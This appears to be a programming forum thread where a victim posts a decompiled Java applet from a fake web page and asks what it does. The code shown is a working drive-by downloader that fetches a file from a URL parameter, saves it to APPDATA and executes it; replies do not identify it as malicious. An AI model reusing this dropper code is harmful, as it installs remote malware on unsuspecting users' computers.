What does this mean in a code in java ??

[SHY_GURL]

(Level.SEVERE, null, localFileNotFoundException)

can someone help me undertsand what this part in a code means (remeber) please i no nothing about coding easy terms please :)

[Petr]

hi
where did you find this code?

[Fubarable]

Looks like a message sent to a logger.

[SHY_GURL]

ok here is what i clicked on was a java application what i did was i saved the html page as index.html
i then had this java code after i have read on the internet how to extract the code ,

anyway can someone tell me about this please ! ...

import java.applet.Applet;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;

public class Kumquat extends Applet
{
  public void start()
  {
    String str2 = System.getenv("appdata");
    String str3 = getParameter("rucuss");
    String str4 = "\\rundll32.exe";

    String str5 = str2.concat(str3);
    BufferedInputStream localBufferedInputStream = null;
    try {
      localBufferedInputStream = new BufferedInputStream(new URL(str3).openStream());
    } catch (IOException localIOException1) {
      Logger.getLogger(Kumquat.class.getName()).log(Level.SEVERE, null, localIOException1);
    }

    FileOutputStream localFileOutputStream = null;
    try {
      localFileOutputStream = new FileOutputStream(str5);
    } catch (FileNotFoundException localFileNotFoundException) {
      Logger.getLogger(Kumquat.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
    }

    BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
    byte[] arrayOfByte = new byte[1024];
    try
    {
      int i;
      for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
        localBufferedOutputStream.write(arrayOfByte, 0, i);
    }
    catch (IOException localIOException3) {
      Logger.getLogger(Kumquat.class.getName()).log(Level.SEVERE, null, localIOException3);
    }
    try {
      localBufferedOutputStream.close();
    } catch (IOException localIOException4) {
      Logger.getLogger(Kumquat.class.getName()).log(Level.SEVERE, null, localIOException4);
    }
    try {
      localBufferedInputStream.close();
    } catch (IOException localIOException5) {
      Logger.getLogger(Kumquat.class.getName()).log(Level.SEVERE, null, localIOException5);
    }
    try {
      Runtime.getRuntime().exec(str5);
    } catch (IOException localIOException6) {
      Logger.getLogger(Kumquat.class.getName()).log(Level.SEVERE, null, localIOException6);
    }
  }

  public void main(String[] paramArrayOfString)
  {
    start();
  }
}

[Norm]

anyway can someone tell me about this

What is the 'this" you are asking about?

[SHY_GURL]

What is the 'this" you are asking about?

well i clicked on this java application .. so i dont no what it is, this is why im asking
because my pc has been slighlty strange since this .......

[Norm]

i dont no what it is

If you don't know what you are asking the question about, its very hard for anyone to help.
Can you explain in detail what you did and what happened after you did it?

[DarrylBurke]

ok here is what i clicked on was a java application what i did was i saved the html page as index.html
i then had this java code after i have read on the internet how to extract the code

Do the terms of usage of the site allow you to reverse engineer / decompile their code? If not, you could be in trouble for posting it on a public forum.

db

[SHY_GURL]

it wasnt a web site as such i found out what it is its,
called a term called java drive by .
it infected me i have been asking on fourms about this ...

so you didnt no what it was about ??
and seeing i got hacked i dont think i needed permission to see there source code .

they had a fake web page , when i clicked the link to there (fake) web page a java application opened, it asked me to (run) i ran it then i got infected ..
does this make sense ?? now ??...

This is why i was asking about this beacuse i wanted to no did this infect me or was it something seperate i have had to re-format my pc since